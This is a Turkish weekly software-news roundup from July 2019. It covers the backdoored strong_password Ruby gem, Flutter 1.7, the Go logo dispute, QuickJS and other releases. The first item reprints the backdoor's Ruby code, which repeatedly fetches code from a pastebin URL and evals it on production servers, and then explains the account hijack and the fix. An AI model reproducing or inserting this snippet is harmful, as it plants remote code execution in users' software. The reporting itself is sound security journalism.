

Yazılım Gündemi - 1

8-14 Temmuz 2019

Eren Hatırnaz

14 Temmuz 2019

İçindekiler

1	strong-password isimli Ruby kütüphanesinin arka kapı içerdiği ortaya çıktı	3
2	Flutter 1.7 sürümü duyuruldu	4
3	Go programlama dili topluluğu, dilin web sitesinden Google logosunu kaldırmayı tartışıyor	4
4	TechEmpower, Web Frameworks Benchmarks Round 18 yayınlandı	5
5	QuickJS JavaScript Motoru Yayınlandı	5
6	Uzak git deposu SourceHut, " Code Annotations " özelliğini duyurdu	6
7	Diğer Haberler	6
8	Lisans	7

```
#include <teknoseyir.h>
int main(int argc, char *argv[]) {
    printf("Yazılım Gündemi - 1");
    printf("08 - 14 Aralık 2019");
    // TODO: Sonraki gündem fonksiyonu eklenecek.
}
```

< Önceki Gündem | **8-14 Temmuz 2019** | [Sonraki Gündem](#) >
[TeknoSeyir'de Oku](#)

Merhabalar,

TeknoSeyir'de en çok severek tükettiğim içerikler gündem değerlendirmeleri (teknoloji, oyun ve bilim), özellikle de Haftalık Gündem Değerlendirmesi videoları. Her ne kadar teknoloji ile ilgili haberleri değerlendiriyor olsalar da, hitap ettikleri sadece yazılımcılar olmadığı için programlama ile ilgili konulara fazla değinilmiyor. Ben de gün içerisinde sıkça HackerNews ve Reddit'deki programlama kanallarını takip ettiğim için durdum ve dedim ki "e niye ben yapmıyorum bu gündemi de, zaten bu tarz haberleri okumaya vakit ayırıyorum hem kendim için bir arşiv olur hem de teknoseyir'deki yazılımcı arkadaşlara faydalı olur" ve işte karşınızda bu haftanın yazılım gündemi.

Öncelikle şunu söylemeliyim ki: Bu gündem bütün bir haftada olan her şeyi kapsama garantisi vermiyor. Karşıma çıkan haberlerden seçmeler yaparak, ilgilendiklerimi yorumlayarak; pek bilgim olmadığı ya da değinilecek pek bir şeyinin olmadığı konuları ise maddeler halinde yazarak yayınlayacağım bir seri olacak. Dolayısıyla yazılımın her alanını, tüm konularını kapsamamı beklemeyin ama elimden geldiğince çeşitli alanlardan maddeler toplamaya çalışacağım. Bir hevesle başlıyorum bakalım umarım devam ettirebilirim.

Sizler de gündeme katkı sağlamak isterseniz yazılımın herhangi bir alanıyla ilgili karşılaştığımız haberleri [#YazılımGündemineMalzeme](#) etiketi ile paylaşabilirsiniz. Etiketini takip edip oradan da haberleri eklemeye çalışacağım.

Silikon Vadisi sponsorluğunda hazırlanan Yazılım Gündemi başlıyor...

1 [strong-password](#) isimli Ruby kütüphanesinin arka kapı içerdiği ortaya çıktı

```
1 def _!;begin;yield;rescue Exception;end;end
2 _!{Thread.new{Loop{!{sleep
3 rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
4 Rails.env[0]=="p"}
```

Şekil 1: CVE Numarası: [CVE-2019-13354](#)

Tute Costa isimli kişi tarafından keşfedilen bu arka kapı sayesinde saldırgan [pastebin.com](#) üzerinde tuttuğu bir kod parçasını çalıştırıyor ve sızdığı web sitelerinin adreslerini öğrenmek için de özel bir alan adına GET isteği ile birlikte sızılan web sitesinin URL adresini gönderiyor. Ruby ile yazılmış popüler web framework sistemi olan Ruby on Rails'in de bir modülünde bu kütüphanenin kullanılması güvenlik açığının boyutlarını büyük hale getiriyor. Açığı bulan kişinin yaptığı araştırmaya göre, bu kütüphaneyi geliştiren kişinin [rubygems.org](#) kullanıcı bilgileri çalınmış ve kütüphane saldırganın hesabına geçmiş. Zaten bu nedenden dolayı [github](#)'daki sürümler ile [rubygems.org](#)'daki sürümler uyuşmuyor. Bakıldığında [github](#) deposunda böyle bir kod bloğu gözüküyor ama [rubygems.org](#)'dan indirilen dosyalarda gözüküyor. Durumun farkına varıldığında [rubygems.org](#) sitesi kütüphaneyi eski sahibine iade etti ve zararlı kod parçaları kütüphaneden silindi. Açıktan etkilenmemek için yapmanız gereken [strong_password](#) kütüphanesini kullandığınız her projede 0.0.8 sürümüne geçmeniz.

Kütüphanenin geliştiricisinin tahminine göre [rubygems.org](#)'daki kullanıcı bilgilerinin çalınmasının nedeni başka birkaç sitede de kullandığı parola ile aynı olması ve 2 adımlı doğrulamanın aktif olmaması -gerçi geliştirici bu hesabı açtığında [rubygems.org](#) sitesi 2 adımlı doğrulama desteklemiyordu, o konuda üzerine gitmek yanlış olur sanırım. Buradan çıkarılacak çok ders var. Kullandığımız 3. parti kütüphanelere o kadar güvenmemek gerektiği, her yerde aynı şifreyi kullanmamak ve adımlı doğrulamayı açmak gerektiği ilk aklıma gelenler. Başka bir tartışma konusu da projelerimizin artık kocaman bir "Bağımlılık Cehennemi"ne (Dependency Hell) dönüşmesi. En ufak ihtiyaçlar için bile hemen 3. parti kütüphanelere, araçlara başvurmamız. Bunun başka bir örneğini Azer Koçulu'nun [leftpad olayında yaşamıştık](#) [konuyla ilgili kendisinin de konuk olduğu [bu podcast'i](#) mutlaka dinlemenizi tavsiye ederim]. Bakalım geliştirici camiası olarak ne zaman dersimizi alacağız.

Trajikomik bir durum daha: Eğer Türkiye'deki sunucularda çalışan ve bu arka kapının olduğu bir Ruby on Rails siteniz varsa, muhtemelen bu açıktan

etkilenmiyorsunuz çünkü pastebin.com sitesi ülkemizde 2012 yılından beri yasaklı. Hükümetimiz sağ olsun web sitelerimizin güvenliğini de düşünüyor (!).

2 Flutter 1.7 sürümü duyuruldu

- Yeni uygulamalar için [AndroidX](#) desteği
- OpenType zengin tipografi özellikleri
- Oyun kontrolcüsü desteği
- RangeSlider aracı
- [Android App Bundles](#)
- Yeni örnekler ve dokümanlar
- iOS üzerindeki yazı düzenleme özellikleri geliştirdi
- 1250'nin üzerinde issue kapatıldı

3 Go programlama dili topluluğu, dilin web sitesinden Google logosunu kaldırmayı tartışıyor

Daha doğrusu tartışmıyor desek yeridir. Çünkü Google çalışanları Github üzerindeki tartışmayı [yorum yapmaya kapattı](#) ve tartışmak isteyenleri mail listesinden devam etmeye çağırdılar. Google çalışanının argümanı "biz bu konuyu kendi içimizde konuştuk ve Go diline yatırım yapan, para harcayan ve destekleyen bir şirket olduğumuz için logo'nun kalmasına karar verdik" tarzında bir söylem oldu. Kaba tabirle "parasını verdik koyarız logo" demeye getirirler de topluluğun argümanı şu şekilde oluyor: "Go dilini sadece Google desteklemiyor, birçok destekleyen, yatırım yapan şirket var. O zaman onların da logoları eklensin".

Üstelik bu, google ile go topluluğu arasındaki ilk tartışma da değil. Daha önce de Google firmasının Go dili üzerindeki otoritesi [şu yazı ile sorgulanmış](#) ve ardından [HackerNews](#) ve [Reddit](#) gibi platformlarda tartışma devam etmişti. Bu seferki tartışma da yine [Reddit](#) gibi platformlarda devam ediyor.

Tekelleşen ve "Evil Corp" olma yolunda hızla ilerleyen Google önümüzdeki zamanlarda daha çok tartışılmaya devam edecek gibi duruyor.

4 TechEmpower, Web Frameworks Benchmarks Round 18 yayınlandı

TechEmpower isimli firma belirli periyotlarda sürekli tekrarlanan, açık kaynak olarak da [paylaşılan performans testleri](#) yapıyor. Toplamda 201 tane framework sistemini test etmişler. Sonuçları biraz inceledim, açıkcası benim de ismini hiç duymadığım onlarca framework var. İsmi bildiklerim az sayıda, kullandıklarım ise bir elin parmaklarını geçmez o yüzden tabloyu pek yorumlayamıyorum. Çoğu kategoride ilk sıralarda olanlardan hiç birini duymuş ya da kullanmış değilim. Bunu sizin ilginize bırakıyorum.

5 QuickJS JavaScript Motoru Yayınlandı

Fabrice Bellard isimli kişi tarafından yazılan bu JavaScript motoru küçük ve gömülebilir (embeddable) olmasıyla öne çıkıyor. Ayrıca ECMAScript 2019 özelliklerinin tamamını destekliyor. Benim de ilgimi çekti ve indirip, derleyip, denedim. 2-3 dakika sürdü derlenmesi. Daha sonra şöyle küçük bir örnek yaptım. JavaScript'den çalıştırılabilir dosya elde etmek beni etkiledi fakat tam olarak kullanım senaryosu nasıl olur bilemedim. [Dokümantasyon](#)

```
erenhatirnaz in ~/code/quickjs-2019-07-09
└─$ cat deneme.js
var i;
for(i = 0; i < 5; i++) {
    console.log("Merhaba TeknoSeyir. QuickJS deniyorum.")
}
erenhatirnaz in ~/code/quickjs-2019-07-09
└─$ ./qjs deneme.js
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
erenhatirnaz in ~/code/quickjs-2019-07-09
└─$ ./qjsc -o deneme deneme.js
erenhatirnaz in ~/code/quickjs-2019-07-09
└─$ ./deneme
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
Merhaba TeknoSeyir. QuickJS deniyorum.
```

Şekil 2: QuickJS Denemesi

6 Uzak git deposu SourceHut, "Code Annotations" özelliğini duyurdu

```
func (ctx *Context) SetCell(x, y int, ch rune, style tcell.Style) { ▶ 1 reference
    width, height := ctx.viewport.Size()
    if x >= width || y >= height {
        panic(fmt.Errorf("Attempted to draw outside of context"))
    }
    crunes := []rune{}
    ctx.viewport.SetContent(x, y, ch, crunes, style)
}

func (ctx *Context) Printf(x, y int, style tcell.Style,
▼ 20 references
• lib/ui/textinput.go:83
• lib/ui/textinput.go:79
• lib/ui/tab.go:138
• lib/ui/text.go:80
• widgets/mcviewer.go:547
    context"))
```

SourceHut, %100 açık kaynak uzak Git ve Mercurial deposu barındırma hizmeti veren bir site. Aynı zamanda hata takip (issue tracker), e-posta listeleri ve continuous integration sistemleri de mevcut.

Henüz sadece Go ve C dillerini (Python için de çalışıyormuş) destekleyen bu özellik sayesinde bir fonksiyonun nerede tanımlandığını ya da tam tersi fonksiyonun nerelerde kullanıldığını görebileceğiz. [Örnek {C}](#), [Örnek {Go}](#), [Dokümantasyon](#).

Geliştiricisi, "Favori programlama diliniz ile ilgili daha fazla şey öğrenmek için güzel bir hafta sonu projesi olur" diyerek diğer diller için de topluluktan destek beklediğini açıkladı.

7 Diğer Haberler

- 2 Temmuz'da yaşanan Cloudflare sorununun [detayları ortaya çıktı](#).
- Amazon, ekosistemine yeni bir hizmet ekliyor: [EventBridge](#), [Alternatif](#).
- Facebook, React Native uygulamaları için özel olarak optimize edilmiş Hermes isimli JavaScript motorunu [açık kaynak hale getirdi](#), [GitHub deposu](#), [Dokümantasyon](#).
- Uber, H3 isimli mekansal (geospatial) indeksleme sistemini [açık kaynak hale getirdi](#), [GitHub deposu](#).
- Firefox 68 sürümünde, mikrofon ve kamera erişimi isteyen siteler için [https olma zorunluluğu geldi](#).

- Microsoft, Quantum Development Kit'i (QTK) [açık kaynak hale getirdi](#), [Dokümantasyon](#).
- Kendi başına uçabilen drone'lar için açık kaynak platform: [GAAS](#), [GitHub Deposu](#).
- Slack alternatifi Mattermost, 50 milyon dolarlık [yatırım aldı](#).
- Tip-korumalı yeni bir programlama dili: [mirth](#).
- Tarayıcı tabanlı .NET uygulamaları için yeni bir web framework duyuruldu: [Blazor](#).
- Google Tablolar'ı veritabanı olarak kullanmaya olanak sağlayan açık kaynaklı bir hizmet çıktı: [Stein](#), [GitHub sayfası](#).
- Elements isimli C++ GUI kütüphanesi [açık kaynak olarak yayınlandı](#), [GitHub Deposu](#).
- RestQL V3 sürümü [yayınlandı](#).
- ReactPHP ilk stabil sürümü 1.0.0'i [çıkardı](#).
- FreshIDE 2.7.0 sürümü [çıktı](#).
- GammaRay 2.11.0 sürümü [çıktı](#).
- OpenAPI Generator 4.0.3 sürümü [çıktı](#).
- KDE Frameworks 5.60.0 sürümü [çıktı](#).

8 Lisans



[Yazılım Gündemi - 1](#) yazısı [Eren Hatırnaz](#) tarafından [Creative Commons Atıf-GayriTicari-AynıLisanslaPaylaş 4.0 Uluslararası Lisansı \(CC BY-NC-SA 4.0\)](#) ile lisanslanmıştır.